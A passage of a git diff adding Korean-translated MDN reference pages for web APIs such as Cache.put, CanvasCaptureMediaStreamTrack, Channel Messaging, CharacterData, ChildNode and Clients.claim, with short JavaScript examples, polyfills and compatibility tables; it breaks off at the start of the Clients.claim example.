Note: Initial Cache implementations (in both Blink and Gecko) resolve {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, and {{domxref("Cache.put")}} promises when the response body is fully written to the disk.  More recent spec versions state that the browser can resolve the promise as soon as the entry is recorded in the database even if the response body is still streaming in.

+
+ +

Syntax

+ +
cache.put(request, response).then(function() {
+  // request/response pair has been added to the cache
+});
+
+ +

Parameters

+ +
+
request
+
The {{domxref("Request")}} you want to add to the cache.
+
response
+
The {{domxref("Response")}} you want to match up to the request.
+
+ +

Return value

+ +

A {{jsxref("Promise")}} that resolves with void.

+ +
+

Note: The promise will reject with a TypeError if the URL scheme is not http or https.

+
+ +

Examples

+ +

This example is from the MDN sw-test example (see sw-test running live). Here we wait for a {{domxref("FetchEvent")}} to fire. We construct a custom response like so:

+ +
    +
  1. Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match","CacheStorage.match()")}}. If so, serve that.
  2. +
  3. If not, open the v1 cache using open(), put the default network request in the cache using {{domxref("Cache.put","Cache.put()")}} and return a clone of the default network request using return response.clone(). Clone is needed because put() consumes the response body.
  4. +
  5. If this fails (e.g., because the network is down), return a fallback response.
  6. +
+ +
var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#dom-cache-put', 'Cache: put')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Cache.put")}}

+ +

See also

+ + diff --git a/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html b/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html new file mode 100644 index 0000000000..de8703deb5 --- /dev/null +++ b/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html @@ -0,0 +1,69 @@ +--- +title: CanvasCaptureMediaStreamTrack.canvas +slug: Web/API/CanvasCaptureMediaStreamTrack/canvas +tags: + - 웹 + - 캔버스 +translation_of: Web/API/CanvasCaptureMediaStreamTrack/canvas +--- +
{{APIRef}}
+ +

The {{domxref("CanvasCaptureMediaStreamTrack")}} canvas읽기 전용 속성은 프레임이 캡쳐되는{{domxref("HTMLCanvasElement")}} 를 반환한다.

+ +

구문

+ +
var elt = stream.canvas;
+
+ +

+ +

캡처되는 프레임의 원본인 canvas를 나타내는 HTMLCanvasElement .

+ +

예시

+ +
// 캡처할 canvas 요소 찾기
+var canvasElt = document.getElementsByTagName("canvas")[0];
+
+// stream 얻기
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// stream 처리하기
+...
+
+// stream과 연결된 canvas 가져오기
+var canvas = stream.canvas;
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태내용
{{SpecName('Media Capture DOM Elements', '#dom-canvascapturemediastreamtrack-canvas', 'CanvasCaptureMediaStreamTrack.canvas')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.CanvasCaptureMediaStreamTrack.canvas")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/canvascapturemediastreamtrack/index.html b/files/ko/web/api/canvascapturemediastreamtrack/index.html new file mode 100644 index 0000000000..26c00af3eb --- /dev/null +++ b/files/ko/web/api/canvascapturemediastreamtrack/index.html @@ -0,0 +1,72 @@ +--- +title: CanvasCaptureMediaStreamTrack +slug: Web/API/CanvasCaptureMediaStreamTrack +tags: + - CanvasCaptureMediaStreamTrack + - Experimental + - Frame Capture + - Interface + - Media + - Media Capture + - NeedsTranslation + - Reference + - TopicStub + - Web +translation_of: Web/API/CanvasCaptureMediaStreamTrack +--- +
{{APIRef("Media Capture and Streams")}}
+ +

The CanvasCaptureMediaStreamTrack interface represents the video track contained in a {{domxref("MediaStream")}} being generated from a {{HTMLElement("canvas")}} following a call to {{domxref("HTMLCanvasElement.captureStream()")}}.

+ +

Part of the Media Capture and Streams API.

+ +

Properties

+ +

This interface inherits the properties of its parent, {{domxref("MediaStreamTrack")}}.

+ +
+
{{domxref("CanvasCaptureMediaStreamTrack.canvas")}} {{readonlyInline}}
+
Returns the {{domxref("HTMLCanvasElement")}} object whose surface is captured in real-time.
+
+ +

Methods

+ +

This interface inherits the methods of its parent, {{domxref("MediaStreamTrack")}}.

+ +
+
{{domxref("CanvasCaptureMediaStreamTrack.requestFrame()")}}
+
Manually forces a frame to be captured and sent to the stream. This lets applications that wish to specify the frame capture times directly do so, if they specified a frameRate of 0 when calling {{domxref("HTMLCanvasElement.captureStream", "captureStream()")}}.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#the-canvascapturemediastreamtrack', 'CanvasCaptureMediaStreamTrack')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.CanvasCaptureMediaStreamTrack")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html b/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html new file mode 100644 index 0000000000..aff25aaaa3 --- /dev/null +++ b/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html @@ -0,0 +1,69 @@ +--- +title: CanvasCaptureMediaStreamTrack.requestFrame() +slug: Web/API/CanvasCaptureMediaStreamTrack/requestFrame +tags: + - 캔버스 +translation_of: Web/API/CanvasCaptureMediaStreamTrack/requestFrame +--- +
{{APIRef("Media Capture and Streams")}}
+ +

The {{domxref("CanvasCaptureMediaStreamTrack")}} 의 메서드 requestFrame() 은 canvas에서 프레임을 캡처하여 stream으로 보낼 것을 요청한다. 렌더링 타이밍과 프레임 캡처를 섬세하게 제어해야하는 애플리케이션은  requestFrame() 을 사용해 프레임을 캡처할 시기를 직접 지정할 수 있다.

+ +

프레임의 자동 캡처를 방지하려면 requestFrame() 이 호출될 때만 프레임이 캡처되도록 {{domxref("HTMLCanvasElement.captureStream", "captureStream()")}} 메서드에 값을 0으로 지정하세요.

+ +

구문

+ +
stream.requestFrame();
+
+ +

Return 값

+ +

undefined

+ +

참고 사항

+ +

현재 사양에는 canvas가 origin-clean 이 아닌 경우 예외를 발생시키지 않는다는 점을 지적하는 문제가 플래그로 표시되어 있다. 이것은 앞으로 바뀔 수 있기 때문에 계획을 미리 세우고  SecurityError (적용될 수 있는 구체적인 오류는 사양에 언급되어 있지 않지만, 유력한 후보임)와 같은 예외사항을 지켜보는 것이 좋다.

+ +

예시

+ +
// 캡처할 canvas 요소 찾기
+var canvasElt = document.getElementsByTagName("canvas")[0];
+
+// stream 가져오기
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// canvas의 현재 상태를 프레임으로 stream에 보내기
+stream.getVideoTracks()[0].requestFrame();
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태내용
{{SpecName('Media Capture DOM Elements', '#dom-canvascapturemediastreamtrack-requestframe', 'CanvasCaptureMediaStream.requestFrame()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.CanvasCaptureMediaStreamTrack.requestFrame")}}

+ +

더 보기

+ + diff --git a/files/ko/web/api/channel_messaging_api/index.html b/files/ko/web/api/channel_messaging_api/index.html new file mode 100644 index 0000000000..c65fe58975 --- /dev/null +++ b/files/ko/web/api/channel_messaging_api/index.html @@ -0,0 +1,91 @@ +--- +title: Channel Messaging API +slug: Web/API/Channel_Messaging_API +tags: + - API + - Channel messaging + - HTML API + - Overview + - Reference +translation_of: Web/API/Channel_Messaging_API +--- +

{{DefaultAPISidebar("Channel Messaging API")}}

+ +

The Channel Messaging API allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.

+ +

{{AvailableInWorkers}}

+ +

Channel messaging concepts and usage

+ +

A message channel is created using the {{domxref("MessageChannel.MessageChannel", "MessageChannel()")}} constructor. Once created, the two ports of the channel can be accessed through the {{domxref("MessageChannel.port1")}} and {{domxref("MessageChannel.port2")}} properties (which both return {{domxref("MessagePort")}} objects.) The app that created the channel uses port1, and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using {{domxref("window.postMessage")}} along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.)

+ +

When these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to. For instance a port, when is sent, cannot be used anymore by the original context. Note that the only two objects that can currently be transferred are {{domxref("ArrayBuffer")}} and {{domxref("MessagePort")}}.

+ +

The other browsing context can listen for the message using {{domxref("MessagePort.onmessage")}}, and grab the contents of the message using the event's data attribute. You could then respond by sending a message back to the original document using {{domxref("MessagePort.postMessage")}}.

+ +

When you want to stop sending messages down the channel, you can invoke {{domxref("MessagePort.close")}} to close the ports.

+ +

Find out more about how to use this API in Using channel messaging.

+ +

Channel messaging interfaces

+ +
+
{{domxref("MessageChannel")}}
+
Creates a new message channel to send messages across.
+
{{domxref("MessagePort")}}
+
Controls the ports on the message channel, allowing sending of messages from one port and listening out for them arriving at the other.
+
{{domxref("PortCollection")}}
+
An array of MessagePorts; an experimental solution to allow broadcasting of a message to multiple ports simultaneously.
+
+ +

Examples

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
+

MessageChannel

+ +
+ + +

{{Compat("api.MessageChannel", 0)}}

+ +

MessagePort

+ +
+ + +

{{Compat("api.MessagePort", 0)}}

+
+
+
+ +

See also

+ + diff --git a/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html b/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html new file mode 100644 index 0000000000..f4400bd998 --- /dev/null +++ b/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html @@ -0,0 +1,220 @@ +--- +title: Using channel messaging +slug: Web/API/Channel_Messaging_API/Using_channel_messaging +translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging +--- +

{{DefaultAPISidebar("Channel Messaging API")}}

+ +

Channel Messaging API 는 두 개의 독립적인 스크립트(예를 들면, 두 개의 IFrame, 또는 메인 다큐먼트와 IFrame, 또는 {{domxref("SharedWorker")}}에 의한 두 개의 다큐먼트)를 각 포트를 가진 양방향 채널(또는 파이프)을 통해 서로 직접 통신할 수 있도록 해줍니다. 이 문서에서 이 기술을 사용하는 기본내용에 대해 살펴봅시다.

+ +

{{AvailableInWorkers}}

+ +

Use cases

+ +

Channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface via IFrames, such as games, address book, or an audio player with personalized music choices. When these act as standalone units, things are ok, but the difficulty comes when you want interaction between the main site and the IFrames, or the different IFrames. For example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into  your main profile, or add new background music choices from the audio player onto the game? Such things are not so easy using conventional web technology, because of the security models the web uses. You have to think about whether the origins trust one another, and how the messages are passed.

+ +

Message channels on the other hand can provide a secure channel that a single data item can be sent down, from one browsing context to another, after which the channel is closed. The sending context asks the receiving context for the capability to send a single message. At the receiving end, this message is actioned as appropriate (for example as "add a contact", or "share high scores".)

+ +
+

Note: For more information and ideas, the Ports as the basis of an object-capability model on the Web section of the spec is a useful read.

+
+ +

Simple examples

+ +

To get your started, we have published a couple of demos on Github. First up, check out our channel messaging basic demo (run it live too), which shows a really simple single message transfer between a page and an embedded {{htmlelement("iframe")}}. The embedded IFrame then sends a confirmation message back. Second, have a look at our multimessaging demo (run this live), which shows a slightly more complex setup that can send multiple messages between main page and IFrame.

+ +

We'll be focusing on the latter example in this article. It looks like so:

+ +

+ +

Creating the channel

+ +

In the main page of the demo, we have a paragraph and a simple form with a text input for entering messages to be sent to an {{htmlelement("iframe")}}.

+ +
var para = document.querySelector('p');
+var textInput = document.querySelector('.message-box');
+var button = document.querySelector('button');
+
+var ifr = document.querySelector('iframe');
+var otherWindow = ifr.contentWindow;
+
+ifr.addEventListener("load", iframeLoaded, false);
+
+function iframeLoaded() {
+  button.onclick = function(e) {
+    e.preventDefault();
+
+    var channel = new MessageChannel();
+    otherWindow.postMessage(textInput.value, '*', [channel.port2]);
+
+    channel.port1.onmessage = handleMessage;
+    function handleMessage(e) {
+      para.innerHTML = e.data;
+      textInput.value = '';
+    }
+  }
+}
+ +

When the IFrame has loaded, we run an iframeLoaded() function containing an onclick handler for our button — when the button is clicked, we prevent the form submitting as normal, create a new message channel with the {{domxref("MessageChannel()","MessageChannel.MessageChannel")}} constructor, then send the value entered in our text input to the IFrame via the {{domxref("MessageChannel")}}. Let's explore how the window.postMessage line works in a bit more detail.

+ +

For a start, here we are calling the {{domxref("window.postMessage")}} method — we are posting a message to the IFrame's window context. {{domxref("window.postMessage")}} has three arguments, unlike {{domxref("MessagePort.postMessage")}}, which only has two. The three arguments are:

+ +
    +
  1. The message being sent, in this case textInput.value.
  2. +
  3. The origin the message is to be sent to. * means "any origin".
  4. +
  5. An object, the ownership of which is transferred to the receiving browsing context. In this case, we are transferring {{domxref("MessageChannel.port2")}} to the IFrame, so it can be used to receive the message from the main page.
  6. +
+ +

At the bottom of the iframeLoaded() function there is a {{domxref("MessagePort.onmessage")}} handler, but we'll get to that later.

+ +

Receiving the port and message in the IFrame

+ +

Over in the IFrame, we have the following JavaScript:

+ +
var list = document.querySelector('ul');
+
+onmessage = function(e) {
+  var listItem = document.createElement('li');
+  listItem.textContent = e.data;
+  list.appendChild(listItem);
+  e.ports[0].postMessage('Message received by IFrame: "' + e.data + '"');
+}
+ +

The entirety of the code is wrapped in a {{domxref("window.onmessage")}} handler, which runs when the message is received from the main page (via its postMessage().) First we create a list item and insert it in the unordered list, setting the {{domxref("textContent","Node.textContent")}} of the list item equal to the event's data attribute (this contains the actual message).

+ +

Next, we post a confirmation message back to the main page via the message channel, using e.ports[0].postMessage(). How does this work? Earlier we transferred port2 over to the IFrame — this is accessible in the event's ports attribute (array position [0]). We call {{domxref("MessagePort.postMessage")}} on this port — since port2 is being controlled by the IFrame, and it is joined to port1 by the message channel, the specified message will be sent back to the main page.

+ +

Receiving the confirmation in the main page

+ +

Returning to the main page, let's now look at the onmessage handler at the bottom of the iframeLoaded() function:

+ +
channel.port1.onmessage = handleMessage;
+function handleMessage(e) {
+  para.innerHTML = e.data;
+  textInput.value = '';
+}
+ +

Here we are setting port1's {{domxref("MessagePort.onmessage")}} handler equal to the handleMessage() function — when a message is received back from the IFrame confirming that the original message was received successfully, this simply outputs the confirmation to a paragraph and empties the text input ready for the next message to be sent.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatGeckoDesktop(41)}}10.010.65
PortCollection{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44{{CompatVersionUnknown}}{{CompatGeckoMobile(41)}}{{CompatNo}}10.011.55.1
PortCollection{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/characterdata/index.html b/files/ko/web/api/characterdata/index.html new file mode 100644 index 0000000000..0e0b383a82 --- /dev/null +++ b/files/ko/web/api/characterdata/index.html @@ -0,0 +1,97 @@ +--- +title: CharacterData +slug: Web/API/CharacterData +tags: + - API + - DOM +translation_of: Web/API/CharacterData +--- +

{{APIRef("DOM")}}

+ +

CharacterData 추상 인터페이스는 문자를 포함하는 {{domxref("Node")}} 객체를 나타냅니다. 이는 추상 인터페이스로 CharacterData 타입의 객체로는 존재하지 않음을 의미합니다. {{domxref("Text")}}, {{domxref("Comment")}}, {{domxref("ProcessingInstruction")}} 와 같은 추상 인터페이스가 아닌 다른 인터페이스에의해 구현되었습니다.

+ +

{{InheritanceDiagram}}

+ +

프로퍼티

+ +

부모 {{domxref("Node")}} 로부터 프로퍼티를 상속받고 {{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스를 구현합니다.

+ +
+
{{domxref("CharacterData.data")}}
+
이 객체를 포함하는 문자형 데이터를 나타내는 {{domxref("DOMString")}} 입니다.
+
{{domxref("CharacterData.length")}} {{readonlyInline}}
+
CharacterData.data 에 포함된 문자열의 크기를 나타내는 unsigned long 을 반환합니다.
+
{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}
+
부모의 자식 리스트 중 특정 {{domxref("Element")}} 의 바로 다음 {{domxref("Element")}} 를 반환합니다. 특정 엘리먼트가 리스트의 마지막 것일 경우 null 을 반환합니다.
+
{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}
+
부모의 자식 리스트 중 특정 {{domxref("Element")}} 의 바로 이전 {{domxref("Element")}} 를 반환합니다. 특정 엘리먼트가 리스트의 처음 것일 경우 null 을 반환합니다.
+
+ +

메소드

+ +

부모 {{domxref("Node")}} 로부터 메소드를 상속받고 {{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스를 구현합니다.

+ +
+
{{domxref("CharacterData.appendData()")}}
+
주어진 {{domxref("DOMString")}} 을 CharacterData.data 문자열에 붙입니다. 이 메소드가 반환할 때 data 는 이어 붙여진 {{domxref("DOMString")}} 을 갖게됩니다.
+
{{domxref("CharacterData.deleteData()")}}
+
CharacterData.data 문자열의 특정 오프셋으로부터 지정한 양만큼의 문자열을 제거합니다. 이 메소드가 반환할 때 data 는 짧아진 {{domxref("DOMString")}} 을 갖게됩니다.
+
{{domxref("CharacterData.insertData()")}}
+
CharacterData.data 문자열의 특정 오프셋에 특정 문자열을 삽입합니다. 이 메소드가 반환할 때 data 는 수정된 {{domxref("DOMString")}} 을 갖게됩니다.
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
부모의 자식 리스트로부터 객체를 제거합니다.
+
{{domxref("CharacterData.replaceData()")}}
+
특정 오프셋으로부터 지정한 양만큼의 문자열을 지정된 {{domxref("DOMString")}} 으로 대체합니다. 이 메소드가 반환할 때 data 는 수정된 {{domxref("DOMString")}} 을 갖게됩니다.
+
{{domxref("CharacterData.substringData()")}}
+
CharacterData.data 의 특정 오프셋으로부터 지정된 길이만큼의 {{domxref("DOMString")}} 을 반환합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}{{Spec2('DOM WHATWG')}}{{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스 구현을 추가했음.
{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM3 Core')}}{{SpecName('DOM2 Core')}} 로부터 변경사항 없음.
{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM2 Core')}}{{SpecName('DOM1')}} 로부터 변경사항 없음.
{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}{{Spec2('DOM1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

 

+ +

{{Compat("api.CharacterData")}}

+ +

함께 보기

+ +

 

+ + diff --git a/files/ko/web/api/childnode/before/index.html b/files/ko/web/api/childnode/before/index.html new file mode 100644 index 0000000000..8481f44374 --- /dev/null +++ b/files/ko/web/api/childnode/before/index.html @@ -0,0 +1,144 @@ +--- +title: ChildNode.before() +slug: Web/API/ChildNode/before +tags: + - API + - DOM + - 노드 + - 레퍼런스 + - 메소드 + - 실험중 +translation_of: Web/API/ChildNode/before +--- +
{{APIRef("DOM")}} {{SeeCompatTable}}
+ +

ChildNode.before 메소드는 ChildNode 의 부모가 가진 자식의 ChildNode 바로 이전에 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 삽입합니다.{{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.

+ +

문법

+ +
[Throws, Unscopable]
+void ChildNode.before((Node or DOMString)... nodes);
+
+ +

파라미터

+ +
+
nodes
+
삽입할 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합입니다.
+
+ +

예외

+ + + +

예제

+ +

엘리먼트 삽입하기

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span);
+
+console.log(parent.outerHTML);
+// "<div><span></span><p></p></div>"
+
+ +

텍스트 삽입하기

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.before("Text");
+
+console.log(parent.outerHTML);
+// "<div>Text<p></p></div>"
+ +

엘리먼트와 텍스트 삽입하기

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span, "Text");
+
+console.log(parent.outerHTML);
+// "<div><span></span>Text<p></p></div>"
+ +

ChildNode.before() 는 범위를 지정할 수 없습니다

+ +

before() 메소드는 with 구문으로 범위를 지정할 수 없습니다. 자세한 내용은 {{jsxref("Symbol.unscopables")}} 문서를 확인하세요.

+ +
with(node) {
+  before("foo");
+}
+// ReferenceError: before is not defined 
+ +

폴리필

+ +

다음 코드를 사용해 인터넷 익스플로러 9 이상에서 before() 메소드 를 폴리필링할 수 있습니다.

+ +
// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('before')) {
+      return;
+    }
+    Object.defineProperty(item, 'before', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function before() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ChildNode.before")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/childnode/index.html b/files/ko/web/api/childnode/index.html new file mode 100644 index 0000000000..2d48b7ef8c --- /dev/null +++ b/files/ko/web/api/childnode/index.html @@ -0,0 +1,76 @@ +--- +title: ChildNode +slug: Web/API/ChildNode +tags: + - API + - DOM + - 노드 + - 실험중 + - 인터페이스 +translation_of: Web/API/ChildNode +--- +
{{APIRef("DOM")}}
+ +

ChildNode 인터페이스는 부모를 가질 수 있는 {{domxref("Node")}} 객체에 고유한 메소드를 포함합니다.

+ +

ChildNode는 원시 인터페이스이며 이 타입의 객체는 생성할 수 없습니다. 이는 {{domxref("Element")}}, {{domxref("DocumentType")}} 및 {{domxref("CharacterData")}} 객체로 구현되었습니다.

+ +

프로퍼티

+ +

상속 및 특정 프로퍼티가 없습니다.

+ +

메소드

+ +

상속된 메소드가 없습니다.

+ +
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
ChildNode를 부모의 자식 목록으로부터 제거합니다.
+
{{domxref("ChildNode.before()")}} {{experimental_inline}}
+
{{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 부모의 자식 목록에서 ChildNode의 바로 앞에 삽입합니다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.
+
{{domxref("ChildNode.after()")}} {{experimental_inline}}
+
{{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 부모의 자식 목록에서 ChildNode의 바로 뒤에 삽입합니다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.
+
{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}
+
부모의 자식 목록에 있는 ChildNode를 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합으로 대체합니다.{{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}{{Spec2('DOM WHATWG')}}ElementTraversal 인터페이스를 {{domxref("ParentNode")}}와 ChildNode로 분리합니다. previousElementSiblingnextElementSibling은 이제 마지막에 정의됩니다. {{domxref("CharacterData")}}와 {{domxref("DocumentType")}}은 새 인터페이스를 구현했습니다. remove(), before(), after()replaceWith() 메소드가 추가되었습니다.
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}프로퍼티의 초기 정의가 ElementTraversal 순수 인터페이스에 추가되었고 {{domxref("Element")}}에서 사용합니다.
+ +

폴리필

+ +

github의 외부 코드: childNode.js

+ +

브라우저 호환성

+ + + +

{{Compat("api.ChildNode")}}

+ +

참고

+ + diff --git a/files/ko/web/api/childnode/remove/index.html b/files/ko/web/api/childnode/remove/index.html new file mode 100644 index 0000000000..2c4992989f --- /dev/null +++ b/files/ko/web/api/childnode/remove/index.html @@ -0,0 +1,97 @@ +--- +title: ChildNode.remove() +slug: Web/API/ChildNode/remove +tags: + - API + - ChildNode + - DOM + - 메소드 + - 실험중 +translation_of: Web/API/ChildNode/remove +--- +
{{APIRef("DOM")}}
+ +

ChildNode.remove() 메소드는 이를 포함하는 트리로부터 객체를 제거합니다.

+ +

문법

+ +
node.remove();
+
+ +

예제

+ +

remove() 사용하기

+ +
<div id="div-01">div-01 입니다</div>
+<div id="div-02">div-02 입니다</div>
+<div id="div-03">div-03 입니다</div>
+
+ +
var el = document.getElementById('div-02');
+el.remove(); // id가 'div-02' 인 div를 제거합니다
+
+ +

ChildNode.remove() 는 스코프 지정 불가

+ +

remove() 메소드는 with 구문으로 스코프를 지정할 수 없습니다. 자세한 내용은 {{jsxref("Symbol.unscopables")}} 을 확인하세요.

+ +
with(node) {
+  remove();
+}
+// ReferenceError: remove is not defined 
+ +

폴리필

+ +

인터넷 익스플로러 9 이상에서는 다음 코드를 사용해 remove() 메소드 를 폴리필링할 수 있습니다.

+ +
// from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('remove')) {
+      return;
+    }
+    Object.defineProperty(item, 'remove', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function remove() {
+        if (this.parentNode !== null)
+          this.parentNode.removeChild(this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}{{Spec2('DOM WHATWG')}}초기 정의.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ChildNode.remove")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/clients/claim/index.html b/files/ko/web/api/clients/claim/index.html new file mode 100644 index 0000000000..ff74825a1d --- /dev/null +++ b/files/ko/web/api/clients/claim/index.html @@ -0,0 +1,66 @@ +--- +title: Clients.claim() +slug: Web/API/Clients/claim +translation_of: Web/API/Clients/claim +--- +

{{SeeCompatTable}}{{APIRef("Service Worker Clients")}}

+ +

{{domxref("Clients")}} 의 claim() 메소드는 active 서비스워커가 그것의 {{domxref("ServiceWorkerRegistration.scope", "scope")}} 를 가지는 모든 클라이언트들의 {{domxref("ServiceWorkerContainer.controller", "controller")}} 로서 자신을 등록하는 것을 허용한다. 이것은 이 서비스워커가 제어하게 될 클라이언트들에 "controllerchange" 이벤트를 발생시킨다.

+ +

서비스워커가 최초에 등록되면, 페이지들은 다음 로드시까지 그것을 사용하지 않을 것이다. claim() 메소드는 그 페이지들을 즉시 제어될 수 있도록 한다. 이로 인해, 당신의 서비스워커는 네트워크 또는 다른 서비스워커를 통해 정기적으로 로드되는 페이지들을 제어하게 된다.

+ +

Syntax

+ +
await clients.claim();
+
+ +

Parameters

+ +

None.

+ +

Returns

+ +

A {{jsxref("Promise")}} for void.

+ +

Example

+ +

